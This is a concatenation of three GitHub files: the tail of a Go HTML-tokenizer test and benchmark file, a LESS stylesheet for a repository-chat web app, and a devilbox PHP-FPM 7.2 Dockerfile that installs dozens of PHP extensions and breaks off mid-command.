[]TokenType{ StartTagToken, TextToken, EndTagToken, } if !reflect.DeepEqual(got, want) { t.Errorf("i=%d: got %v, want %v", i, got, want) continue } } } // zeroOneByteReader is like a strings.Reader that alternates between // returning 0 bytes and 1 byte at a time. type zeroOneByteReader struct { s string n int } func (r *zeroOneByteReader) Read(p []byte) (int, error) { if len(p) == 0 { return 0, nil } if len(r.s) == 0 { return 0, io.EOF } r.n++ if r.n%2 != 0 { return 0, nil } p[0], r.s = r.s[0], r.s[1:] return 1, nil } // eofStringsReader is like a strings.Reader but can return an (n, err) where // n > 0 && err != nil. type eofStringsReader struct { s string } func (r *eofStringsReader) Read(p []byte) (int, error) { n := copy(p, r.s) r.s = r.s[n:] if r.s != "" { return n, nil } return n, io.EOF } // stuckReader is an io.Reader that always returns no data and no error. type stuckReader struct{} func (*stuckReader) Read(p []byte) (int, error) { return 0, nil } const ( rawLevel = iota lowLevel highLevel ) func benchmarkTokenizer(b *testing.B, level int) { buf, err := ioutil.ReadFile("testdata/go1.html") if err != nil { b.Fatalf("could not read testdata/go1.html: %v", err) } b.SetBytes(int64(len(buf))) runtime.GC() b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { z := NewTokenizer(bytes.NewBuffer(buf)) for { tt := z.Next() if tt == ErrorToken { if err := z.Err(); err != nil && err != io.EOF { b.Fatalf("tokenizer error: %v", err) } break } switch level { case rawLevel: // Calling z.Raw just returns the raw bytes of the token. It does // not unescape &lt; to <, or lower-case tag names and attribute keys. z.Raw() case lowLevel: // Caling z.Text, z.TagName and z.TagAttr returns []byte values // whose contents may change on the next call to z.Next. switch tt { case TextToken, CommentToken, DoctypeToken: z.Text() case StartTagToken, SelfClosingTagToken: _, more := z.TagName() for more { _, _, more = z.TagAttr() } case EndTagToken: z.TagName() } case highLevel: // Calling z.Token converts []byte values to strings whose validity // extend beyond the next call to z.Next. z.Token() } } } } func BenchmarkRawLevelTokenizer(b *testing.B) { benchmarkTokenizer(b, rawLevel) } func BenchmarkLowLevelTokenizer(b *testing.B) { benchmarkTokenizer(b, lowLevel) } func BenchmarkHighLevelTokenizer(b *testing.B) { benchmarkTokenizer(b, highLevel) }
{ "pile_set_name": "Github" }
@import "reset.less"; @import "mixins.less"; @import "fonts.less"; html { width: 100%; height: 100%; } body { font-family: "Lato", sans-serif; background: #ECF0F1; position: relative; width: 100%; height: 100%; } @import "lists/repos.less"; @import "lists/messages.less"; @import "conversation.less"; @import "footer.less"; @import "login.less"; @import "repoinfos.less"; .main { position: absolute; top: 0px; left: 0px; right: 0px; bottom: 0px; .main-body { position: absolute; top: 0px; left: 0px; right: 0px; bottom: 40px; overflow: hidden; /* List repos */ .main-repos { position: fixed; top: 0px; left: 0px; bottom: 40px; width: 244px; overflow: hidden; background: #3498db; .border-radius(0px); .logo { width: 120px; margin-left: auto; margin-right: auto; display: block; opacity: 0.15; } .list-repos { overflow-y: auto; position: absolute; top: 130px; bottom: 0px; left: 0px; right: 0px; } .action-link-user { position: absolute; bottom: 0px; left: 0px; right: 0px; overflow: hidden; background: #2ecc71; color: #fff; line-height: 35px; padding: 6px 8px; text-decoration: none; text-align: center; &:hover { background: #27ae60; color: #fff; } } } /* Conversations */ .main-conversations { position: absolute; top: 50px; left: 244px; bottom: 0px; right: 0px; overflow-y: auto; padding: 10px 50px; } /* Repos infos */ .main-repoinfos { position: absolute; top: 0px; left: 244px; height: 50px; right: 0px; overflow: hidden; background: #ddd; } /* Modal to create gitrap */ .main-create-conversation { display: none; position: absolute; top: 50%; left: 50%; height: 140px; margin-top: -120px; width: 500px; margin-left: -148px; background: #fff; padding: 20px; font-size: 20px; line-height: 28px; .help { color: #888; font-size: 16px; line-height: 28px; } .action-init-repo { position: absolute; bottom: 20px; left: 20px; right: 20px; overflow: hidden; background: #2ecc71; color: #fff; line-height: 35px; padding: 6px 8px; text-decoration: none; text-align: center; &:hover { background: #27ae60; color: #fff; } } } } } .mode-init-repo { .main-conversations, .main-repoinfos { display: none !important; } .main-create-conversation { display: block !important; } }
{ "pile_set_name": "Github" }
# Auto-generated via Ansible: edit build/ansible/DOCKERFILES/Dockerfile-mods.j2 instead. FROM devilbox/php-fpm:7.2-base as builder ### ### Install ### RUN set -eux \ && DEBIAN_FRONTEND=noninteractive apt-get update -qq \ && DEBIAN_FRONTEND=noninteractive apt-get install -qq -y --no-install-recommends --no-install-suggests apt-utils \ && DEBIAN_FRONTEND=noninteractive apt-get install -qq -y --no-install-recommends --no-install-suggests \ alien \ fftw-dev \ firebird-dev \ freetds-dev \ ghostscript \ gobject-introspection \ gtk-doc-tools \ libaio-dev \ libbz2-dev \ libc-client-dev \ libcurl4-openssl-dev \ libenchant-dev \ libevent-dev \ libexif-dev \ libexpat1-dev \ libfbclient2 \ libfftw3-dev \ libfreetype6-dev \ libgif-dev \ libglib2.0-dev \ libgmp-dev \ libib-util \ libicu-dev \ libimagequant-dev \ libjpeg-dev \ libkrb5-dev \ libldap2-dev \ libmagick++-dev \ libmagickcore-6.q16-dev \ libmagickwand-dev \ libmcrypt-dev \ libmemcached-dev \ libnghttp2-dev \ libpcre3-dev \ libpng-dev \ libpoppler-glib-dev \ libpq-dev \ libpspell-dev \ librabbitmq-dev \ librdkafka-dev \ librecode-dev \ librsvg2-dev \ libsasl2-dev \ libsnmp-dev \ libssh2-1-dev \ libssl-dev \ libtidy-dev \ libtool \ libvpx-dev \ libwebp-dev \ libwebp6 \ libwebpdemux2 \ libwebpmux3 \ libxml2-dev \ libxpm-dev \ libxslt-dev \ libyaml-dev \ libzip-dev \ snmp \ unixodbc-dev \ zlib1g-dev \ ca-certificates \ git # Fix timezone (only required for testing to stop php -v and php-fpm -v from complaining to stderr) RUN set -eux \ && echo "date.timezone=UTC" > /usr/local/etc/php/php.ini ### ### Install and enable PHP modules ### # Enable ffi if it exists RUN set -eux \ && if [ -f /usr/local/etc/php/conf.d/docker-php-ext-ffi.ini ]; then \ echo "ffi.enable = 1" >> /usr/local/etc/php/conf.d/docker-php-ext-ffi.ini; \ fi # -------------------- Installing PHP Extension: ioncube -------------------- RUN set -eux \ # Installation: Generic # Type: Custom extension && EXTENSION_DIR="$( php -i | grep ^extension_dir | awk -F '=>' '{print $2}' | xargs )" \ && if [ ! -d "${EXTENSION_DIR}" ]; then mkdir -p "${EXTENSION_DIR}"; fi \ && curl https://downloads.ioncube.com/loader_downloads/ioncube_loaders_lin_x86-64.tar.gz -L -o ioncube.tar.gz \ && tar xvfz ioncube.tar.gz \ && cd ioncube \ && cp "ioncube_loader_lin_7.2.so" "${EXTENSION_DIR}/ioncube.so" \ && cd ../ \ && rm -rf ioncube \ && rm -rf ioncube.tar.gz \ \ && true # -------------------- Installing PHP Extension: amqp -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Custom: Pecl command && echo "/usr" | pecl install amqp \ # Enabling && docker-php-ext-enable amqp \ && true # -------------------- Installing PHP Extension: apcu -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install apcu \ # Enabling && docker-php-ext-enable apcu \ && true # -------------------- Installing PHP Extension: bcmath -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) bcmath \ && true # -------------------- Installing PHP Extension: blackfire -------------------- RUN set -eux \ # Installation: Generic # Type: Custom extension && version=$(php -r "echo PHP_MAJOR_VERSION.PHP_MINOR_VERSION;") \ && curl -A "Docker" -o /tmp/blackfire-probe.tar.gz -D - -L -s https://blackfire.io/api/v1/releases/probe/php/linux/amd64/$version \ && mkdir -p /tmp/blackfire \ && tar zxpf /tmp/blackfire-probe.tar.gz -C /tmp/blackfire \ && mv /tmp/blackfire/blackfire-*.so $(php -r "echo ini_get('extension_dir');")/blackfire.so \ && rm -rf /tmp/blackfire /tmp/blackfire-probe.tar.gz \ \ && true # -------------------- Installing PHP Extension: bz2 -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) bz2 \ && true # -------------------- Installing PHP Extension: calendar -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) calendar \ && true # -------------------- Installing PHP Extension: dba -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) dba \ && true # -------------------- Installing PHP Extension: enchant -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) enchant \ && true # -------------------- Installing PHP Extension: exif -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) exif \ && true # -------------------- Installing PHP Extension: gd -------------------- RUN set -eux \ # Generic pre-command && ln -s /usr/lib/x86_64-linux-gnu/libXpm.* /usr/lib/ \ # Installation: Version specific # Type: Built-in extension # Custom: configure command && docker-php-ext-configure gd --with-gd --with-webp-dir=/usr --with-jpeg-dir=/usr --with-png-dir=/usr --with-zlib-dir=/usr --with-xpm-dir=/usr --with-freetype-dir=/usr --enable-gd-jis-conv \ # Installation && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) gd \ && true # -------------------- Installing PHP Extension: gettext -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) gettext \ && true # -------------------- Installing PHP Extension: gmp -------------------- RUN set -eux \ # Generic pre-command && ln /usr/include/x86_64-linux-gnu/gmp.h /usr/include/ \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) gmp \ && true # -------------------- Installing PHP Extension: igbinary -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install igbinary \ # Enabling && docker-php-ext-enable igbinary \ && true # -------------------- Installing PHP Extension: imagick -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install imagick \ # Enabling && docker-php-ext-enable imagick \ # Generic post-command && sed -i'' 's|.*"thread".*| <policy domain="resource" name="thread" value="1"/>|g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PS".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PS2".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PS3".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"EPS".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PDF".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"XPS".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="coder".*"PS".*||g' /etc/ImageMagick-6/policy.xml \ && sed -i'' 's|.*<policy domain="delegate".*pattern="gs".*||g' /etc/ImageMagick-6/policy.xml \ \ && true # -------------------- Installing PHP Extension: imap -------------------- RUN set -eux \ # Generic pre-command && ln -s /usr/lib/x86_64-linux-gnu/libkrb5* /usr/lib/ \ # Installation: Generic # Type: Built-in extension # Custom: configure command && docker-php-ext-configure imap --with-kerberos --with-imap-ssl --with-imap \ && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) imap \ && true # -------------------- Installing PHP Extension: interbase -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) interbase \ && true # -------------------- Installing PHP Extension: intl -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) intl \ && true # -------------------- Installing PHP Extension: ldap -------------------- RUN set -eux \ # Generic pre-command && ln -s /usr/lib/x86_64-linux-gnu/libldap* /usr/lib/ \ # Installation: Generic # Type: Built-in extension # Custom: configure command && docker-php-ext-configure ldap --with-ldap --with-ldap-sasl \ && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) ldap \ && true # -------------------- Installing PHP Extension: mcrypt -------------------- RUN set -eux \ # Installation: Version specific # Type: PECL extension # Default: Pecl command && pecl install mcrypt-1.0.1 \ # Enabling && docker-php-ext-enable mcrypt \ && true # -------------------- Installing PHP Extension: msgpack -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install msgpack \ # Enabling && docker-php-ext-enable msgpack \ && true # -------------------- Installing PHP Extension: memcache -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install memcache \ # Enabling && docker-php-ext-enable memcache \ && true # -------------------- Installing PHP Extension: memcached -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install memcached \ # Enabling && docker-php-ext-enable memcached \ && true # -------------------- Installing PHP Extension: mongodb -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install mongodb \ # Enabling && docker-php-ext-enable mongodb \ && true # -------------------- Installing PHP Extension: mysqli -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) mysqli \ && true # -------------------- Installing PHP Extension: oauth -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install oauth \ # Enabling && docker-php-ext-enable oauth \ && true # -------------------- Installing PHP Extension: oci8 -------------------- RUN set -eux \ # Generic pre-command && ORACLE_HREF="$( curl -sS https://yum.oracle.com/repo/OracleLinux/OL7/oracle/instantclient/x86_64/ | tac | tac | grep -Eo 'href="getPackage/oracle-instantclient.+basiclite.+rpm"' | tail -1 )" \ && ORACLE_VERSION_MAJOR="$( echo "${ORACLE_HREF}" | grep -Eo 'instantclient[.0-9]+' | sed 's/instantclient//g' )" \ && ORACLE_VERSION_FULL="$( echo "${ORACLE_HREF}" | grep -Eo 'basiclite-[-.0-9]+' | sed -e 's/basiclite-//g' -e 's/\.$//g' )" \ \ && rpm --import http://yum.oracle.com/RPM-GPG-KEY-oracle-ol7 \ && curl -o /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-basiclite-${ORACLE_VERSION_FULL}.x86_64.rpm \ https://yum.oracle.com/repo/OracleLinux/OL7/oracle/instantclient/x86_64/getPackage/oracle-instantclient${ORACLE_VERSION_MAJOR}-basiclite-${ORACLE_VERSION_FULL}.x86_64.rpm \ && curl -o /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-devel-${ORACLE_VERSION_FULL}.x86_64.rpm \ https://yum.oracle.com/repo/OracleLinux/OL7/oracle/instantclient/x86_64/getPackage/oracle-instantclient${ORACLE_VERSION_MAJOR}-devel-${ORACLE_VERSION_FULL}.x86_64.rpm \ && alien -i /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-basiclite-${ORACLE_VERSION_FULL}.x86_64.rpm \ && alien -i /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-devel-${ORACLE_VERSION_FULL}.x86_64.rpm \ && rm -f /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-basiclite-${ORACLE_VERSION_FULL}.x86_64.rpm \ && rm -f /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-devel-${ORACLE_VERSION_FULL}.x86_64.rpm \ \ # Installation: Generic # Type: Built-in extension # Custom: configure command && docker-php-ext-configure oci8 --with-oci8=instantclient,/usr/lib/oracle/${ORACLE_VERSION_MAJOR}/client64/lib/,${ORACLE_VERSION_MAJOR} \ && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) oci8 \ # Generic post-command && ORACLE_HREF="$( curl -sS https://yum.oracle.com/repo/OracleLinux/OL7/oracle/instantclient/x86_64/ | tac | tac | grep -Eo 'href="getPackage/oracle-instantclient.+basiclite.+rpm"' | tail -1 )" \ && ORACLE_VERSION_MAJOR="$( echo "${ORACLE_HREF}" | grep -Eo 'instantclient[.0-9]+' | sed 's/instantclient//g' )" \ && ORACLE_VERSION_FULL="$( echo "${ORACLE_HREF}" | grep -Eo 'basiclite-[-.0-9]+' | sed -e 's/basiclite-//g' -e 's/\.$//g' )" \ && (ln -sf /usr/lib/oracle/${ORACLE_VERSION_MAJOR}/client64/lib/*.so* /usr/lib/ || true) \ \ && true # -------------------- Installing PHP Extension: opcache -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) opcache \ && true # -------------------- Installing PHP Extension: pcntl -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) pcntl \ && true # -------------------- Installing PHP Extension: pdo_dblib -------------------- RUN set -eux \ # Generic pre-command && ln -s /usr/lib/x86_64-linux-gnu/libsybdb.* /usr/lib/ \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) pdo_dblib \ && true # -------------------- Installing PHP Extension: pdo_firebird -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) pdo_firebird \ && true # -------------------- Installing PHP Extension: pdo_mysql -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension # Custom: configure command && docker-php-ext-configure pdo_mysql --with-zlib-dir=/usr \ && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) pdo_mysql \ && true # -------------------- Installing PHP Extension: pdo_oci -------------------- RUN set -eux \ # Generic pre-command && ORACLE_HREF="$( curl -sS https://yum.oracle.com/repo/OracleLinux/OL7/oracle/instantclient/x86_64/ | tac | tac | grep -Eo 'href="getPackage/oracle-instantclient.+basiclite.+rpm"' | tail -1 )" \ && ORACLE_VERSION_MAJOR="$( echo "${ORACLE_HREF}" | grep -Eo 'instantclient[.0-9]+' | sed 's/instantclient//g' )" \ && ORACLE_VERSION_FULL="$( echo "${ORACLE_HREF}" | grep -Eo 'basiclite-[-.0-9]+' | sed -e 's/basiclite-//g' -e 's/\.$//g' )" \ \ && rpm --import http://yum.oracle.com/RPM-GPG-KEY-oracle-ol7 \ && curl -o /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-basiclite-${ORACLE_VERSION_FULL}.x86_64.rpm \ https://yum.oracle.com/repo/OracleLinux/OL7/oracle/instantclient/x86_64/getPackage/oracle-instantclient${ORACLE_VERSION_MAJOR}-basiclite-${ORACLE_VERSION_FULL}.x86_64.rpm \ && curl -o /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-devel-${ORACLE_VERSION_FULL}.x86_64.rpm \ https://yum.oracle.com/repo/OracleLinux/OL7/oracle/instantclient/x86_64/getPackage/oracle-instantclient${ORACLE_VERSION_MAJOR}-devel-${ORACLE_VERSION_FULL}.x86_64.rpm \ && alien -i /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-basiclite-${ORACLE_VERSION_FULL}.x86_64.rpm \ && alien -i /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-devel-${ORACLE_VERSION_FULL}.x86_64.rpm \ && rm -f /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-basiclite-${ORACLE_VERSION_FULL}.x86_64.rpm \ && rm -f /tmp/oracle-instantclient${ORACLE_VERSION_MAJOR}-devel-${ORACLE_VERSION_FULL}.x86_64.rpm \ && (ln -s /usr/lib/oracle/${ORACLE_VERSION_MAJOR}/client64/lib/*.so* /usr/lib/ || true) \ \ # Installation: Version specific # Type: Built-in extension # Custom: configure command && docker-php-ext-configure pdo_oci --with-pdo-oci=instantclient,/usr/lib/oracle/${ORACLE_VERSION_MAJOR}/client64/lib/,${ORACLE_VERSION_MAJOR} \ # Installation && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) pdo_oci \ && true # -------------------- Installing PHP Extension: pdo_pgsql -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) pdo_pgsql \ && true # -------------------- Installing PHP Extension: pdo_sqlsrv -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install pdo_sqlsrv \ # Enabling && docker-php-ext-enable pdo_sqlsrv \ && true # -------------------- Installing PHP Extension: pgsql -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) pgsql \ && true # -------------------- Installing PHP Extension: psr -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install psr \ # Enabling && docker-php-ext-enable psr \ && true # -------------------- Installing PHP Extension: phalcon -------------------- RUN set -eux \ # Installation: Generic # Type: GIT extension && git clone https://github.com/phalcon/cphalcon /tmp/phalcon \ && cd /tmp/phalcon \ # Custom: Branch && git checkout $(git for-each-ref --format='%(*creatordate:raw)%(creatordate:raw) %(refname)' refs/tags | sort -n | sed 's/^.*tags\///g' | grep -E '^v[.0-9]+$' | tail -1) \ # Custom: Install command && cd build && ./install \ # Enabling && docker-php-ext-enable phalcon \ && true # -------------------- Installing PHP Extension: pspell -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) pspell \ && true # -------------------- Installing PHP Extension: recode -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) recode \ && true # -------------------- Installing PHP Extension: redis -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install redis \ # Enabling && docker-php-ext-enable redis \ && true # -------------------- Installing PHP Extension: rdkafka -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install rdkafka \ # Enabling && docker-php-ext-enable rdkafka \ && true # -------------------- Installing PHP Extension: shmop -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) shmop \ && true # -------------------- Installing PHP Extension: snmp -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension # Custom: configure command && docker-php-ext-configure snmp --with-openssl-dir \ && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) snmp \ && true # -------------------- Installing PHP Extension: soap -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension # Custom: configure command && docker-php-ext-configure soap --with-libxml-dir=/usr \ && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) soap \ && true # -------------------- Installing PHP Extension: sockets -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) sockets \ && true # -------------------- Installing PHP Extension: solr -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install solr \ # Enabling && docker-php-ext-enable solr \ && true # -------------------- Installing PHP Extension: sqlsrv -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install sqlsrv \ # Enabling && docker-php-ext-enable sqlsrv \ && true # -------------------- Installing PHP Extension: ssh2 -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install ssh2-1.2 \ # Enabling && docker-php-ext-enable ssh2 \ && true # -------------------- Installing PHP Extension: swoole -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Custom: Pecl command && yes yes | pecl install swoole \ # Enabling && docker-php-ext-enable swoole \ && true # -------------------- Installing PHP Extension: sysvmsg -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) sysvmsg \ && true # -------------------- Installing PHP Extension: sysvsem -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) sysvsem \ && true # -------------------- Installing PHP Extension: sysvshm -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) sysvshm \ && true # -------------------- Installing PHP Extension: tidy -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) tidy \ && true # -------------------- Installing PHP Extension: uploadprogress -------------------- RUN set -eux \ # Installation: Generic # Type: GIT extension && git clone https://github.com/php/pecl-php-uploadprogress /tmp/uploadprogress \ && cd /tmp/uploadprogress \ # Default: Install command && phpize \ && ./configure --enable-uploadprogress \ && make -j$(getconf _NPROCESSORS_ONLN) \ && make install \ # Enabling && docker-php-ext-enable uploadprogress \ && true # -------------------- Installing PHP Extension: vips -------------------- RUN set -eux \ # Generic pre-command && git clone https://github.com/libvips/libvips /tmp/libvips \ && cd /tmp/libvips \ && ./autogen.sh \ && make -j$(getconf _NPROCESSORS_ONLN) \ && make install \ && cd /tmp \ && rm -rf /tmp/libvips \ \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install vips \ # Enabling && docker-php-ext-enable vips \ && true # -------------------- Installing PHP Extension: wddx -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension # Custom: configure command && docker-php-ext-configure wddx --with-libxml-dir=/usr \ && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) wddx \ && true # -------------------- Installing PHP Extension: xdebug -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install xdebug \ # Enabling && docker-php-ext-enable xdebug \ && true # -------------------- Installing PHP Extension: xmlrpc -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension # Custom: configure command && docker-php-ext-configure xmlrpc --with-libxml-dir=/usr --with-iconv-dir=/usr \ && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) xmlrpc \ && true # -------------------- Installing PHP Extension: xsl -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) xsl \ && true # -------------------- Installing PHP Extension: xlswriter -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install xlswriter \ # Enabling && docker-php-ext-enable xlswriter \ && true # -------------------- Installing PHP Extension: yaml -------------------- RUN set -eux \ # Installation: Generic # Type: PECL extension # Default: Pecl command && pecl install yaml \ # Enabling && docker-php-ext-enable yaml \ && true # -------------------- Installing PHP Extension: zip -------------------- RUN set -eux \ # Installation: Generic # Type: Built-in extension # Custom: configure command && docker-php-ext-configure zip --with-zlib-dir=/usr --with-pcre-dir=/usr --with-libzip \ && docker-php-ext-install -j$(getconf _NPROCESSORS_ONLN) zip \ && true # Fix php.ini settings for enabled extensions RUN set -eux \ && chmod +x "$(php -r 'echo ini_get("extension_dir");')"/* # Fix oracle dir for images that don't have oci installed RUN set -eux \ && mkdir -p /usr/lib/oracle/ # Shrink everything down RUN set -eux \ && (find /usr/local/bin -type f -print0 | xargs -n1 -0 strip --strip-all -p 2>/dev/null || true) \ && (find /usr/local/lib -type f -print0 | xargs -n1 -0 strip --strip-all -p 2>/dev/null || true) \ && (find /usr/local/sbin -type f -print0 | xargs -n1 -0 strip --strip-all -p 2>/dev/null || true) # Auto-generated via Ansible: edit build/ansible/DOCKERFILES/Dockerfile-mods.j2 instead. FROM devilbox/php-fpm:7.2-base as final MAINTAINER "cytopia" <cytopia@everythingcli.org> ### ### Labels ### # https://github.com/opencontainers/image-spec/blob/master/annotations.md #LABEL "org.opencontainers.image.created"="" #LABEL "org.opencontainers.image.version"="" #LABEL "org.opencontainers.image.revision"="" LABEL "maintainer"="cytopia <cytopia@everythingcli.org>" LABEL "org.opencontainers.image.authors"="cytopia <cytopia@everythingcli.org>" LABEL "org.opencontainers.image.url"="https://github.com/devilbox/docker-php-fpm" LABEL "org.opencontainers.image.documentation"="https://github.com/devilbox/docker-php-fpm" LABEL "org.opencontainers.image.source"="https://github.com/devilbox/docker-php-fpm" LABEL "org.opencontainers.image.vendor"="devilbox" LABEL "org.opencontainers.image.licenses"="MIT" LABEL "org.opencontainers.image.ref.name"="7.2-mods" LABEL "org.opencontainers.image.title"="PHP-FPM 7.2-mods" LABEL "org.opencontainers.image.description"="PHP-FPM 7.2-mods" ### ### Copy artifacts from builder ### ARG EXT_DIR COPY --from=builder ${EXT_DIR}/ ${EXT_DIR}/ COPY --from=builder /usr/local/etc/php/conf.d/ /usr/local/etc/php/conf.d/ COPY --from=builder /usr/local/bin/ /usr/local/bin/ COPY --from=builder /usr/local/lib/ /usr/local/lib/ COPY --from=builder /usr/lib/oracle/ /usr/lib/oracle/ ### ### Install ### RUN set -eux \ && DEBIAN_FRONTEND=noninteractive apt-get update -qq \ && DEBIAN_FRONTEND=noninteractive apt-get install -qq -y --no-install-recommends --no-install-suggests \ fftw2 \ ghostscript \ gir1.2-poppler-0.18 \ imagemagick-6.q16 \ libaio1 \ libaspell15 \ libc-client2007e \ libenchant1c2a \ libexif12 \ libexpat1 \ libfbclient2 \ libfftw3-3 \ libfreetype6 \ libgif7 \ libglib2.0-0 \ libicu63 \ libimagequant0 \ libjpeg62-turbo \ libmagick++-6.q16-8 \ libmagick++-6.q16hdri-8 \ libmagickcore-6.q16-6 \ libmagickcore-6.q16-6-extra \ libmagickwand-6.q16-6 \ libmagickwand-6.q16hdri-6 \ libmcrypt4 \ libmemcachedutil2 \ libnghttp2-14 \ libpng16-16 \ libpoppler-glib8 \ libpq5 \ librabbitmq4 \ librdkafka1 \ librecode0 \ librsvg2-2 \ libssh2-1 \ libsybdb5 \ libtidy5deb1 \ libvpx5 \ libwebp-dev \ libwebp6 \ libwebpdemux2 \ libwebpmux3 \ libxpm4 \ libxslt1.1 \ libyaml-0-2 \ libzip4 \ snmp \ unixodbc \ ca-certificates \ && rm -rf /var/lib/apt/lists/* \ \ && update-ca-certificates ### ### Post Install ### RUN set -eux \ # ---------- imagick ---------- && sed -i'' 